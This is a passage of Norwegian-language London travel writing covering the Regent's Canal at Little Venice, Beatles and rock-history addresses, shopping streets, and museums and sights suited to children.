kj\u00f8pt av eiendomsselskaper og bebygd med leiligheter.\n\nFra Oxford Street g\u00e5r buss nummer 6 helt til Warwick Avenue. Derfra er det to hundre meter \u00e5 g\u00e5 til kanalen. Du kan ogs\u00e5 ta tuben fra Piccadilly Circus eller Oxford Circus (Bakerloo line) til Warwick Avenue.\n\nKanalen ble \u00e5pnet i 1820, den gang som transport\u00e5re for et samfunn i rivende utvikling. Den gikk gjennom et frodig jordbruksdistrikt, som snart ble spist opp av storbyen.\n\nTa\u00a0 en prat med en av de mange beboerne i husb\u00e5tene langs kanalen. De holder til der hele \u00e5ret, med postkasse p\u00e5 land, og blomster p\u00e5 b\u00e5ttaket \u2013 og ofte en skipskatt som stryker deg langs leggen.\n\nEn vandring i kanalomr\u00e5det starter gjerne der kanalb\u00e5ten legger fra, i havnen nedenfor Warwick Avenue. Det er for \u00f8vrig ogs\u00e5 navnet p\u00e5 T-banestasjonen n\u00e6rmest kanalen.\n\nDet kan v\u00e6re smart \u00e5 ta kanalb\u00e5ten de snaue fire kilometerne opp til Camden Lock (sluse) og spasere tilbake. Eller du kan g\u00e5 opp og spasere tilbake igjen. Husk uansett p\u00e5 \u00e5 bruke en time eller to p\u00e5 markedet i Camden. Her finner b\u00e5de store og sm\u00e5 noe interessant.\n\nLangs kanalen ligger flere mektige og kostbare villaer, tegnet av blant andre den ber\u00f8mte arkitekten John Nash. P\u00e5 veien g\u00e5r ferden gjennom Maida Hill Tunnel, forbi London Zoo og en flytende kinesisk restaurant f\u00f8r den ender opp i Camden.\n\nTar du en rusletur inn i Regent's Park, som b\u00e5ten seiler forbi, finner du Londons kanskje vakreste gr\u00f8ntomr\u00e5de.\n\nEn b\u00e5ttur p\u00e5 kanalen m\u00e5 ikke bestilles p\u00e5 forh\u00e5nd. Det er bare \u00e5 m\u00f8te frem og hoppe om bord. Det er flere selskaper i sving, blant dem Jason og London Waterbus Company. Noen av b\u00e5tene serverer te eller en kald \u00f8l underveis.\n\nFra Little Venice er det bare 10-15 minutters spasertur til Abbey Road og den ber\u00f8mte fotgjengerovergangen der Beatles lot seg fotografere i 1969 \u2013 et must for mange musikkelskere.\n\nby email@example.com - 27. november 2015\n\n## Ber\u00f8mte Beatles og rock steder i London\n\nI 1969 ble de fotografert mens de gikk over forgjengerfeltet i n\u00e6rheten av Abbey-Road studioet. Bildet ble tatt da de hadde en kort kaffepause fra innspillingen i studioet.\n\nDette bildet preget forsiden p\u00e5 deres nest siste album \u00abAbbey Road\u00bb.  \nAbbey Road og husene rundt st\u00e5r uforandret siden den gangen, og her kan du oppleve den samme stemningen som for 30 \u00e5r siden. Det er en stor turiststr\u00f8m hele \u00e5ret til Abbey Road studioet.\n\nMedlemmene av Oasis flyttet ogs\u00e5 inn i dette omr\u00e5det for \u00e5 kunne f\u00f8le n\u00e6rheten til sine ideoler.  \nLike ved Abbey Road, i 7 Cavendish Avenue, ligger huset til Paul McCartney. Dette har v\u00e6rt Linda og Pauls hjem helt siden 1966. Etter Lindas d\u00f8d har Paul fortsatt \u00e5 bo her.  \nDet var ogs\u00e5 her George Harrison oppholdt seg sine siste dager f\u00f8r sin d\u00f8d i 2001.\n\nPaul kj\u00f8pte dette huset fordi det var enkelt \u00e5 kunne bo s\u00e5 n\u00e6r studio. Hele gruppen bodde her under innspillinger.\n\nCarnaby Street var selve sentret for The Swinging London p\u00e5 60-tallet da Beatles herjet som verst.\n\nFilmen \u00abA Hard Days night\u00bb er inspilt i London, bla. fra Marylebone togstasjon.\n\nEn passe avslutning p\u00e5 din Beatlesrunde i London kan v\u00e6re \u00e5 bes\u00f8ke London Beatles Store som ligger i 231 Baker Street, like i n\u00e6rheten av Sherlock Holms museet og Madame Tussaud. Her f\u00e5r du komplementert din Beatlessamling, kj\u00f8pt Beatles postkort, t-skjorter, posters, kakebokser og gullplater.\n\nI 1963 spillte The Fab Four inn sitt f\u00f8rste album \u00abPlease Please Me\u00bb i dette studioet p\u00e5 bare 13 timer. Dette f\u00f8rte til en str\u00f8m av fans til studioet, og fansen overnattet ofte utenfor studioet for \u00e5 f\u00e5 ett glimt av sine ideoler. De spillte ofte inn sine album om natten.\n\nAbbey Road Studioet regnes som en av de viktigste platestudioer gjennom tidene. Studioet er fortsatt i bruk, og mange av dagens artister spiller inn sin musikk her, bla. Sting, Elton John, Cliff Richard, Oasis og The Police.\n\nEn av de beste m\u00e5tene \u00e5 oppleve Beatles stemningen p\u00e5, er \u00e5 bli med p\u00e5 en av de guidede turene i minibuss. Feks The Beatles & Rock 'n' Roll London. P\u00e5 disse turene f\u00e5r du ikke bare Betales historie, men ogs\u00e5 se og h\u00f8re om Rolling Stones, Led Zeppelin, Queen, the Sex Pistols, the Clash og Eric Clapton.\n\nTurene starter ved Hyde Park Corner undergrunnstasjon, utenfor Hard Rock Cafe\n\nGuidede g\u00e5turer er ett annet alternativ. Her kan du pr\u00f8ve http://www.beatlesinlondon.com, som starter ved utgangen av Tottenham Court Road (Dominion Theatre exit) eller Marylebone underground stations\n\nVi vandrer gatelangs med  \nF\u00f8rste gang The Beatles bes\u00f8kte London var tidlig i desember 1961. De fikk ingen platekontrakt i Liverpool, og satte derfor kursen for London. De hadde allerede skaffet seg ett navn i Hamburg etter tre suksessrike turer dit.\n\nDe fikk spillt inn en demoplate i London, som f\u00f8rte til tilbud om pr\u00f8vespilling. Dette var 1.januar 1962 i Decca Studios i 165 Broadhurst Gardens i West Hamstead. De 15 l\u00e5tene som ble spillt denne dagen finnes i dag kun som bootlegs fordi Decca Studios takket nei til \u00e5 utgi noen plate med Beatles. Det har de nok angret mange en gang p\u00e5\u2026..  \nUnder denne innspillingen bodde de p\u00e5 Royal Court Hotel i 8-10 Sloan Square.\n\nVi fortsetter med banen p\u00e5 JubileLine til St.Johns Wood. Vi krysser Wellington Road, og n\u00e6rmer oss den ber\u00f8mte fotgjengerovergangen ved Abbey Road. Like ved ligger Abbey Road Studios, som ble deres faste studio. I dag er ikke studioet \u00e5pent for almennheten, men grupper og foreninger kan \u2013 etter avtale \u2013 f\u00e5 bes\u00f8ke dette studioet.\n\nFordi de benyttet dette studioet fast, kj\u00f8pte Paul McCartney seg en bekvem leilighet like i n\u00e6rheten for \u00e5 ha det bekvemt under plateinnspillingene. Huset ligger i Cavendish Avenue, og er det neste huset i gaten uten nummer. Dog er adressen nr 7 Cavendish Avenue. I denne leiligheten skrev han bla. Helter Skelter, Penny Lane og Sergant Pepper.  \nP\u00e5 den tiden bodde han sammen med sin kj\u00e6reste, modellen Jane Asher, i leiligheten.\n\nSoho er en bydel som fortsatt er preget av Beatles. Kanskje ikke s\u00e5 fargerik og interessant i dag som i -60 \u00e5ra, men like fullt en opplevelse. Vi ankommer undergrunnen ved Oxford Street og g\u00e5r ned i Carneby Street.  \nP\u00e5 -60 tallets begrep p\u00e5 selveste \u00abSwingin London\u00bb var sentrert rundt Carneby Street og Soho.  \nVi krysser Great Marlborough Street og kommer over i 5-6 Argyll Street. Her kan du ta p\u00e5 d\u00f8ra til Brian Epsteins tidligere kontor i NEMS Enterprices. Litt lenger \u00f8st kan vi se kontorene til Paul McCarneys selskap MPL Communications Ltd.\n\nI 1 Soho Square og i 17 St.Annes Court finner vi The Sound Studios, tidligere kjent som Trident Studios. I 3 Savile Row finner vi hovedkvartalet til Beatles plateselskap Apple Corp. Det var p\u00e5 taket av denne bygningen Beatles spillte inn de legendariske takscenene til filmen \u00abLet it Be\u00bb.\n\nOg skal du handle Beatles effekter i London er The Beatles Store i 231 Baker Street i Soho stedet.\n\nANDRE ADRESSER  \nAndre steder og adresser \u00e5 opps\u00f8ke for den genuine Beatles-fan er bla. President Hotel i 8-10 Russel Square. Det var her bandets medlemmer bodde i 1963, da den kjente fotografen Dezo Hoffman tok bilder av gruppen.\n\nSenere samme \u00e5r flyttet gruppen inn i leilighetskomplekset i 57 Green Street.  \nJohn Lennon flyttet senere til 13 Emperors gate sammen med Cynthia og babyen Julian. George og Ringo ble boende en stund f\u00f8r de flyttet til Whaddon House, Williams Mews i Knightsbridge hvor Brian Epstein bodde p\u00e5 dette tidspunktet.\n\nDette er noen av stedene Beatles-fan og andre musikkinteresserte over hele verden bes\u00f8ker n\u00e5r de er i London, men listen er uendelig.\n\nLondon er for mange rockens hovedstad og h\u00f8ydepunktene er mange. Fra tidlig 60-tallet og i \u00e5rene som kom var det swingin London som satte spor etter seg. Mange er der den dag i dag.\n\nV\u00e5r f\u00f8rste tur begynner p\u00e5 Piccadilly Circus. Vi g\u00e5r nedover Regent Street, svinger inn til h\u00f8yre i Charles II Street. Vi g\u00e5r gjennom St. James Square, svinger opp mot h\u00f8yre og inn i bvakg\u00e5rden \u2013 der dukker Masons Yard opp. Og det var hit vi skulle.\n\nI 6 Maisons Yard ligger i dag firmaet River Wide House, men i januar 1966 l\u00e5 Indica Gallery her. Det var eid av John Dundar, da gift med Marianne Faithfull, og Barry Miles. Paul McCartney hjalp forresten til med \u00e5 dekorere lokalene i tillegg til at han og Peter Asher hadde v\u00e6rt med \u00e5 finansiere galleriet. Men det som stedet for all tid vil v\u00e6re mest kjent for er at det var her John Lennon for f\u00f8rste gang traff Yoko Ono. Hun hadde utstilling her\u2026.\n\nVi fortsetter v\u00e5r vandring og beveger oss i retning av det som i sin tid ble kalt for Londons svar p\u00e5 amerikanernes \u00abTin Pan Alley\u00bb, nemlig Denmark Street. P\u00e5 60-tallet l\u00e5 de fleste forlagene her, managere og businessfolk av ymse slag holdt hus her og det var her pengene sirkulerte.  \nRaskeste veien hit er \u00e5 ta banen til Tottenham Court Road, g\u00e5 ned Charring Cross og ta andre gata inn til venstre. Da st\u00e5r du plutserlig i begynnelsen av denne vesle gatestubben som har betydd s\u00e5 mye for engelsk musikkmilj\u00f8.  \nI dag er gaten fortsatt preget av musikalsk aktivitet, i f\u00f8rste rekke forretninger som selger musikkinstrumenter og noter/b\u00f8ker. Og det er hit de fleste s\u00f8ker n\u00e5r de skal ha seg en spessiell gitar, for her er utvalget enormt i alle prisklasser.  \nDen beste forretningen du kan tenke deg n\u00e5r det gjelder musikkliteratur finner du her. Helter Skelter Books i 4 Denmark Street. Butikken har eksistert siden -70 tallet og har ett utvalg man bare kan dr\u00f8mme om. Selv om forretningen er liten er den utrolig innholdsrik. Det var her i 4 Denmark Street det legendariske Regent Studio l\u00e5 p\u00e5 -60 tallet. Det var her Rolling Stones spillte inn sin f\u00f8rste LP i 1964.  \nEtt par hus lenger opp i 6 Denmark Street finner vi Vintage and Rare Guitars. Her driver innehaveren Adam Newman sin meget velkjente og anerkjente gitarforretning, hvor mange rock-stars har kj\u00f8pt sine gitarer. Litt lenger inn i lokalene har han laget en egen Wall of Fame, med signaturen til endel av sine kj\u00f8pere.  \nHvis du sp\u00f8r Adam, f\u00e5r du kanskje ta en tur ut i butikkens bakg\u00e5rd. For det var nemlig her at Sex Pistols hadde sitt \u00f8vingslokale i 1975-76 f\u00f8r de slo igjennom.\n\nChelsea s\u00f8r-vest i byen finner vi Kings Road, som p\u00e5 -70 tallet var punkens mekka. Ta banen til Sloane Square, da er du midt i Kings Road.  \nTidligere var denne gata ett samlingssted for hippier, rockere og punkere. V\u00e5rt f\u00f8rste stoppested er 49 kings Road. I dag er dette en McDonald kafe, men i 1967-68 l\u00e5 The Chelsea Drugstore her. Tar du for deg teksten i Stones-l\u00e5ta \u00bb you cant always get what you want\u00bb finner vi i 3.vers denne teksten; \u00bb I wnt down to the Chelsea Drugstore \u2013 To get your prescription Filled\u2026\u00bb. Minner \\!\\!  \nFortsetter vi kommer vi til 125 Kings Road. I f\u00f8rste etasje hat Harley Davidson en lekker forretning, men i andre etasje bodde faktisak Eric Clapton en periode p\u00e5 -60 tallet. I samme hus bodde ogs\u00e5 tegneren og maleren Martin Sharp, som bla har laget coveret p\u00e5 Creams \u00abDisaeli Gears\u00bb.  \nLitt anonymt ligger ogs\u00e5 i dag Johanna Booth, en lokal antikvitetsforrwetning i 245A Kings Cross. Men p\u00e5 -70 tallet l\u00e5 Chelsea Antique Market her, hvor Boy George sto bak disken og solgte antikviteter mens punken begynte \u00e5 blomstre.  \nVi kommer til 344 Kings Road. her finner vi Ripple Records, plateselskapet til tidligere Rolling Stones bassisten Bill Wyman. P\u00e5 mange m\u00e5ter ett lite selskap, men herfra styrte han forretningsdriften sin, som inneholdt bla. plateutgivelser, ett forlag og management. Og veggene er prydet med gullplater, konsertplakater og mye annet spennende.  \n354 Kings Road er en st\u00f8rre murbygning som p\u00e5 -70 tallet huset The Roebuck Public House, n\u00e5 Domes Cafe. Dette var ett popul\u00e6rt vanningshull for punkbevegelsen hvor ikke minst Sex Pistols har satt sine spor. I 1970 traff Marc Bolan bongospilleren Mick Finn her,m og dermed var glamrockbandet T.Rex en realitet.\n\nEn popul\u00e6r pub er The man In The Moon, som har en lang historie i dette str\u00f8ket. I 1977 var Adam and The Ants fast inventar her.  \nI 1971 \u00e5pnet Malcolm McLaren moteforretningen \u00abLet it Rock\u00bb i 430 Kings Road. En dag i 1973 kom New York Dolls innom og la igjen endel pund for \u00e5 fornye sin garderobe og i 1974 sa Chrissie Hynde opp jobben som journaqlist og stillte seg bak disken. Hun fikk f\u00f8lge av Glen Matlock. Og det var da Malcolm McLaren fikk ideen til Sex Pistols.  \nI 1975 skiftet butikken navn til \u00abSex\u00bb.  \nI oktober 1975 var butikken \u00e5stedet for Sex Pistols f\u00f8rste rehearsals hvor forbipasserende kunne se Johnny Rotten skrike seg hes til Alice Cooper l\u00e5ter som ble spilt p\u00e5 lokaltes jukebox.  \nI dag er det urmakeren Worlds End, som holder til i lokalene.\n\nVi n\u00e6rmer oss enden av Kings Road og i nummer 488 passerer vi SW Ten, en lokal kaffebar. I 1967 l\u00e5 \u00abGranny Takes A Trip\u00bb her, en klesforretning som solgte psykedeliske kl\u00e6r, hvor bla. Marc Bolan var fast kunde. 500 Kings Road er i dag et stort tomt hus som kun benyttes som lager, men tidlig p\u00e5 -60 tallet var det et popul\u00e6rt utested som het \u00abThe Wetherby Arms\u00bb. Det var her Bill Wyman hadde sitt f\u00f8rste m\u00f8te med Rolling Stones den 7. desember 1962. De ville gjerne ha han med i Rolling Stones fordi han hadde egen forsterker, digre h\u00f8ytalere og en VoxAC30 i reserve\\!\n\nFortsetter vi i bydelen Chelsea kan vi se mer av Rolling Stones historie. Vi rusler videre nedover til Edith Grove, en kjedelig og litt trist gate. I 102 Edith Grove var der Mick Jagger, Keith Richards, Brian Jones og kompisen James Phelge bodde fra slutten av 1962 til september 1963.  \nDe disponerte en leilighet i 2.etasje i dette rekkehuset. Guttene hadde problemer med \u00e5 holde orden, s\u00e5 moren til Keith Richards kom innom med mat og ryddet det verste.  \nBill Wyman hadde fast jobb og Charlie Watts var enn\u00e5 ikke p\u00e5 plass, men Ian Stewart var der. De var p\u00e5 jakt etter spillejobber og platekontrakt. De \u00f8vde p\u00e5 Weatherby Arms i 500 Kings Road, hvor ogs\u00e5 Bill Wyman pr\u00f8vespillte og fikk jobben som bassist.\n\nRusler vi noen kvartaler s\u00f8rover, kommer vi til Battersea Bridge ved Chelsea Embankment hvor vi promenerer \u00f8stover langs Themsen. Det var her Richard Thompson knipset coverbildet til LPen \u00abHand of Kindness\u00bb fra 1983.  \nTa til venstre ved Chelsea Embankment etter ett par hundere meter og du kommer inn i en liten gatestubb som heter Chayne Walk. Og det var her, i 48 Chayne Walk, at Mick Jagger bladde opp 40.000 pund, tok med seg Marianne Faithfull \u2013 og flyttet inn i 1967. De forlot hverandre \u00e5ret etter, men Jagger beholdt huset i mange \u00e5r. Da han i 1971 giftet seg med Bianca Perez Moreno de Macias, ble dette huset deres London-residens.\n\nI nr 3 Chayne Road flyttet Keith Richards og Anita Pallenberg inn i 1969. De betalte dengang 50.000 pund for huset.  \nDen tunge narkor\u00f8yken l\u00e5 tungt over hele gata, og politirazziar var daglidagse foreteelser her. Samtidig var dette den mest produktive perioden for Rolling Stones.\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Shopping gater i London\n\nBOND STREET  \nBond street er designergaten, hvor du finner designerbutikkene. Det er her stjernene ser og blir sett. Her finner du kjente designere som Donna Karen, Prada, Louis\\`Vuitton, Chanel, Nicole Fahri, Armani, Versace og Ralph Lauren.  \nDen tradisjonelle engelske stilen finner du p\u00e5 Mulberry og Burberrys nye varehus.  \nP\u00e5 gatevandring i Bond Street, finner du den mindre kjente gaten South Molton Street. Her finner du enhver form for skot\u00f8y som er mulig \u00e5 oppdrive. Finner du det ikke her \u2013 finnes det ikke\\!\\!\n\nDu b\u00f8r ogs\u00e5 f\u00e5 med deg Brown og Labels for Less hvor du kan finne designerkl\u00e6r til b\u00e5de han og henne, noen av dem til sterkt reduserte priser.\n\nAntikviteter finner du ogs\u00e5 i denne gata. Sothebys, det verdenskjente auksjonshuset, har utstillingslokaler i Bond Street. Her er det \u00e5pent for publikum hele uken.  \nDu finner ogs\u00e5 Bond Street Antique Center i denne gaten.\n\nMer eksklusivitet finner hos Cartier, Tiffany, Asprey og Garrard. Her finner du juveler, klokker og andre eksklusive gaver.\n\nCARNABY STREET  \nDenne gaten var sentrum for \u00abThe swinging London\u00bb p\u00e5 60-tallet. N\u00e5 er gaten kjent for sine blomsterbutikker og caps butikker. Gaten har over 140 butikker, barer og restauranter.  \nDu finner ogs\u00e5 kjente merkevarebutikker som Carhartt, Diesel og Cinch her.  \nHvis du foretrekker en mer \u00abad hoc\u00bb stil hva gjelder kl\u00e6r, kan vi anbefale The Dispensary.\n\nCHELSEA  \nDe fleste engelskmenn kan bare dr\u00f8mme om \u00e5 bo i dette omr\u00e5det som omfatter bla. Kings Road og Sloane Square.  \nI dette omr\u00e5det finner du ogs\u00e5 High Street, ett mekka for fashion. Her finner du bla Johnsons som selger 50- og 60-talls inspirerte kl\u00e6r.  \nI Sloane Square finner du Ben de Lisi\\`s butikken som tilbyr det elegante aftenantrekket, eller Philip Treacy som har betjent de rike og ber\u00f8mte i en menneskealder.  \nLulu Guiness holder til i Ellis Street og tilbyr vesker. Emma Hope tilbyr eksklusivt fott\u00f8y for damer.\n\nCOVENT GARDEN  \nEtt bes\u00f8k i Covent Garden er ett must, b\u00e5de om du er innteressert i shopping, sightseeing eller vil oppleve karneval stemning. Markedet her har dominert omr\u00e5det helt siden middelalderen. Markedet har ekspandert jevnt de siste 100 \u00e5r, og var tidligere byens viktigste frukt-, blomster- og gr\u00f8nnsaksmarked. I v\u00e5re dager finner du ett uttall av butikker, boder, restauranter og gate opptredner.  \nI dette omr\u00e5det finner du ogs\u00e5 endel ekslusive forretninger som Oasis, French Connection, Hobbs og Marks\\&Spencer. Du finner ogs\u00e5 Mango i Neal Street, en spansk butikk med ultramoderne kl\u00e6r til et moderat prisniv\u00e5. P\u00e5 andre siden av gaten finner du ogs\u00e5 Neal Street East, en butikk med Orientalske og S\u00f8r Amerikanske gaveartikkler, kl\u00e6r og leker.\n\nFor mannen er Floral Street ett eldorado. Her finner du skreddere som Paul Smith og Uth som tilbyr kl\u00e6r til alle \u00e5rstider. Liker du Hawaikl\u00e6r \u2013 er stedet Robot. Foretrekker du designerkl\u00e6r er stedet Agnes B. De har kl\u00e6r til b\u00e5de han og henne fra franske designere, men det m\u00e5 v\u00e6re svart eller hvit\\!  \nCovent Garden er ogs\u00e5 stedet for brukte kl\u00e6r. Sjekk p\u00e5 Blackout II p\u00e5 Endell Street eller The Loft i Monmouth Street.\n\nKNIGHTSBRIDGE  \nDen mest kjente butikken i dette omr\u00e5det er Harrods. Denne butikken ble anlagt i 1849, men drar fremdeles inn store folkemengder med sine over 3000 avdelinger og 3000 ansatte.  \nFor motel\u00f8ven finnes ogs\u00e5 muligheter i omr\u00e5det. I Sloane Street finner du motehus som Christian Dior, Chanel, Prada og Gucci. Du finner ogs\u00e5 b\u00e5de Armani og Alberta Ferretti i dette omr\u00e5det.\n\nOXFORD STREET  \nDette er vel gaten de fleste forbinder med London. De fleste starter nok ogs\u00e5 sin runde i sentrum i Oxford Street. Her er det \u00e5rlig over 200 millioner bes\u00f8kende og mer enn 300 butikker. Det er ikke uten grunn at dette er byens travleste gate.  \nDet er vanskelig \u00e5 plukke ut noen enkltbutikker i denne gate. Her finner du alt. Gaten m\u00e5 bare oppleves, men vi b\u00f8r vel nevne noen av verdens st\u00f8rste platebutikker som ligger her, b\u00e5de Virgin Megastore og HMV. Musikk er ikke spessiellt billig i London, men utvalget kan ikke sammenlignes med noen norsk butikk. Her er nye direkteimport og mye eksklusivt for en samler.\n\nREGENT STREET  \nRegent Street er stedet for deg som liker vindus shopping. Her finner du alt fra leket\u00f8y og motet\u00f8y til fabrikker og mat. Den mest kjente forretningen er Liberty, som ble grunnlagt i 1875. Her finner du arbeider av designere som Mui Mui, Anya Hindmarch og Yohji Yamamoto. Du finner ogs\u00e5 avdelinger med vesker og l\u00e6rvarer. Liberty er ogs\u00e5 kjent for sine vindusutstillinger til jul.  \nDamekl\u00e6r finner du p\u00e5 Laura Ashley, Episode eller hos Racing Green.\n\nby email@example.com - 27. november 2015\n\n## Med barn til London\n\nHvorfor: Det er billig \u00e5 reise dit, og byen har et vell av muligheter b\u00e5de for voksne og barn. London er en av de storbyene barn absolutt vil finne interessant, spennende og l\u00e6rerik.\n\nFor mor og far: Shopping, markeder, London Eye, pub-til-pub, restauranter ? eksempelvis kjendiskokker som Jamie Olivers restauranter, musikaler, fotball, British Museum, musikaler.\n\n**Noen raske tips:**  \n1\\. Pr\u00f8v ut de r\u00f8de bussene, og sett dere i 2.etasjen\\!  \n2\\. Madame Tussauds, vokskabinettet  \n3\\. London Eye, pariserhjulet ved Themsens bredd  \n3\\. British Museum  \n4\\. National Army Museum  \n5\\. Covent Garden, masse artige sm\u00e5butikker, gj\u00f8glere og gateselgere  \n6\\. Buckingham Palace med vaktskifte ved dronningens slott  \n7\\. Carneby Street, shoppinggate med uvanlige kl\u00e6r, nips og naps  \n8\\. Camden Market  \n9\\. Publunch  \n10\\. Vandre i Hyde Park & Kensington Gardens  \n11\\. Vandre i Nothing Hill  \n12\\. Tower of London  \n13\\. Palement og Big Ben\n\nTil slutt m\u00e5 dere f\u00e5 med dere musikaler.Litt avhengig av barnas alder, men \u00abThe Lion King\u00bb er absolutt \u00e5 anbefale. En annen er \u00abChitty Chitty Bang Bang\u00bb, som kalles for barnas James Bond.  \nDe litt st\u00f8rre vil nok like \u00abFame\u00bb, \u00abWe will rock You, Mamma Mia osv.\n\n**Et tips fra Oddbj\u00f8rg Fossan:**  \n\u00abHei, og takk for flotte og informative sider. De ble flittig brukt f\u00f8r vi reiste til London i august.  \nVi hadde for f\u00f8rste gang med barn til denne herlige byen (to jenter p\u00e5 5 \u00e5r), og hadde en flott tur som var lagt opp med tanke p\u00e5 dem (Lion King, Tower, Legoland Windsor, Big Ben, etc).  \nVet ikke om dere har skrevet noe om den flotte lekeplassen som finnes i Kensington Gardens? ?Princess Diana?s Memorial Playground? er virkelig en oase, og vi skulle gjerne ha brukt mer tid her.\n\nDet er ett supert lekeomr\u00e5de med flotte fasiliteter og en liten kaf\u00e9 som har ?alt?. Her er det kun adgang for voksne i f\u00f8lge med barn, og for barn i f\u00f8lge med voksne.\u00bb\n\n**For barn:**  \nI tilfeller der en fotballinteressert far (eller mor) har jobbet i tilstrekkelig grad med podens interesse p\u00e5 feltet, vil fotballkamp p\u00e5 Highbury eller White Hart Lane stadion v\u00e6re en aktuell aktivitet.  \nNatural History Museum med utstillinger av forhistoriske dinosaurer, dyr og natur. Gr\u00f8ss og gru p\u00e5 London Dungeon, kjendiser i voks p\u00e5 Madame Tussauds og leker gjennom tidene p\u00e5 Toy Museum. London Zoo ? spesielt aktuelt kanskje for de som er interessert i Harry Potter; dette var nemlig stedet hvor Harry oppdaget sin evne til \u00e5 konversere med slanger. London Eye er nesten pariserhjul, og b\u00f8r kile i magen.\n\nDe st\u00f8rste byene med sine lys, leven, store teatre, og livlige gateliv byr p\u00e5 gode og spennende opplevelser.\n\nJeg har selv reist med to gutter p\u00e5 10 og 14 \u00e5r p\u00e5 1 ukes ferie, og de mente dette var den beste ferien de hadde hatt p\u00e5 mange \u00e5r.  \nVi har funnet fem uforglemmelige ting du kan ta med barna p\u00e5 i London.  \nMorsomme museer og severdigheter  \nDet hadde jo v\u00e6rt litt \u00e5lreit hvis barna faktisk l\u00e6rte noe av Londonturen ogs\u00e5, da. Og s\u00e5 gir det kanskje mamma litt bedre samvittighet for all shoppingen. Da kom det liksom noe godt ut av turen likevel.\n\nNatural History Museum  \nMuseet for den som er interessert i alt som har med dyr og natur \u00e5 gj\u00f8re. Museet er kjempestort og inneholder alt fra forhistoriske dinosaurer til 22 millioner (\\!) forskjellige dyr p\u00e5 sprit. For tiden g\u00e5r utstillingen T-Rex: The Killer Question som sp\u00f8r om tyrannosaurusen virkelig var en drapsmaskin, eller om den var et \u00e5tseldyr, slik en forsker nylig hevdet.\n\n\u2013 Det barna husker best etter et bes\u00f8k hos oss er gjerne jordskjelvmaskinen, den gigantiske bl\u00e5hvalen, de ?levende? robotiske dinosaurene og det enorme dinosaurskjelettet som m\u00f8ter deg ved inngangen. Dessuten ble Natural History Museum k\u00e5ret til ?Large Visitor Attraction of the Year? av London Tourism Awards i \u00e5r.\n\nEllers avsl\u00f8rer Annika at oktoberprogrammet inneholder aktiviteter som \u00e5 utforske naturobjekt og lete etter bevis for kjente teser, akkurat som en vitenskapsmann, eksperimentere med collage, trykk, 3-D og arkitekturtegning i museets tegnekonkurranse og m\u00f8te noen av museets 300 vitenskapsmenn p\u00e5 opptaket av Darwin Centre Live. G\u00e5 til www.nhm.ac.uk for mer informasjon.\n\nAdresse: Cromwell Road  \n\u00c5 pningstider: 10.00-17.50 (11.00-17.50 s\u00f8ndag)  \nN\u00e6rmeste tube: South Kensington  \nScience Museum  \nScience Museum viser fremskrittene forskning, teknologi og medisin har hatt siden 1700-tallet. De to utstillingene om Ringenes Herre filmen og Titanic er veldig popul\u00e6re. Ringenes Herre utstillingen viser hvordan filmene ble laget, hvilke spesialeffekter som ble brukt og hvordan kostymene ble skapt. Titanic utstillingen forteller historien, viser deg gjenstander som er hentet opp fra vraket, og forklarer hvilken teknologi som ble brukt for \u00e5 hente dem opp. Det koster \u00a310 (cirka 120 kr) for voksne og \u00a37 (cirka 85 kr) \u00e5 komme inn p\u00e5 hver av disse utstillingene. Det har blitt solgt hele 14.000 forh\u00e5ndsbilletter, s\u00e5 her m\u00e5 du ogs\u00e5 bestille p\u00e5 forh\u00e5nd for \u00e5 komme inn. Det gj\u00f8res enten via websiden www.sciencemuseum.org.uk eller ved \u00e5 ringe 0870 870 4868.\n\nAdresse: Exhibition Road  \n\u00c5 pningstider: 10.00-18.00 alle dager  \nN\u00e6rmeste tube: South Kensington  \nLondon Dungeon  \nGr\u00f8ss og gru nede i kjelleren som med sterke virkemidler forteller hva som skjedde under svartedauden, i torturkamrene, da Jack the Ripper herjet og da hele London brant ned under The Great Fire. Ikke noe for skvetne mennesker. Skumle dauinger hopper fram fra m\u00f8rket for \u00e5 skremme livet av deg. Sjekk websiden www.thedungeons.com for en smakebit.\n\nAdresse: 28-34 Tooley Street  \n\u00c5 pningstider: 10.00-17.30 alle dager  \nMaddame Tussauds  \nDu kommer ikke utenom denne hvis du har med deg barn til London. De livaktige voksfigurene av all verdens kjente politikere, konger, legender og artister er mektig popul\u00e6re, og forvent lange k\u00f8er. Det nyeste er en Pop Idol scene hvor bes\u00f8kende kan synge en sang for det fryktede panelet i britenes orginale konsept. Synes du Ole i Dole var slem? Da har du ikke m\u00f8tt Simon Cowell. ?Du har akkurat funnet opp en ny form for tortur.? Billettene er ganske dyre, men prisene varierer etter hvilken dag du bes\u00f8ker. Helgene er dyrest. P\u00e5 en mandag koster billetten f.eks. \u00a322 (cirka 260 kr) for voksne og \u00a316 (cirka 190 kr) for barn. Denne billetten gjelder b\u00e5de Madame Tussauds, skrekkammeret og naboen London Planetarium, hvor du f\u00e5r en tur ut i verdensrommet og l\u00e6rer om stjernene og universet. Hvis du dropper skrekkammeret er billetten billigere. Det finnes ogs\u00e5 familiebilletter. Billetter kan bestilles p\u00e5 websiden www.madame-tussauds.com eller p\u00e5 telefon 0870 400 3000.\n\nAdresse: Marylebone Road  \n\u00c5pningstider: 9.00-17.30 (9.00-18.00 i helgen)  \nN\u00e6rmeste tube: Baker Street\n\nLondon Aquarium  \nAkvariumet inneholder skapninger fra alle verdenshav, bl.a. en kjempetank med hai og havrokker. Ellers mange sm\u00e5akvarier med eksotiske fisker fra tropiske klimaer. Bortsett fra haiene er det morsomste kanskje det grunne bassenget fullt av flyndrer. Pr\u00f8v \u00e5 stikke h\u00e5nden nedi vannet. Flyndrene er utrolig kosete, og kommer gjerne opp til vannflaten for \u00e5 kiles litt p\u00e5 magen. Jeg tror ikke de vet at de vanligvis blir til middagsmat. Billetter koster \u00a38.75 (cirka 100 kr) for voksne og \u00a35.25 (cirka 65 kr) for barn. Du kan bestille via websiden www.londonaquarium.co.uk eller p\u00e5 telefon 020 7967 8007\n\nAdresse: Belvedere Road  \n\u00c5 pningstider: 10.00-18.00 alle dager  \nN\u00e6rmeste tube: Waterloo eller Westminster  \nToy Museum  \nP\u00e5 dette lille museet kan du se hva slags leker barn lekte med f\u00f8r. De fleste er fra de siste 200 \u00e5rene, men det finnes ogs\u00e5 noen riktige gamlinger, f.eks. en leiremus fra Egypt som er over 4.000 \u00e5r gammel\\! Ellers er det dukker, teddybj\u00f8rner, leketog og mye annet. Dukkehus fra forskjellige tider viser hva som var popul\u00e6rt av dekor og interi\u00f8r i ordentlige hus. Billetter koster \u00a33 (cirka 40 kr) for voksne og \u00a31.50 (cirka 20 kr) for barn.\n\nAdresse: 1 Scala Street  \n\u00c5 pningstider: 10.00-17.00 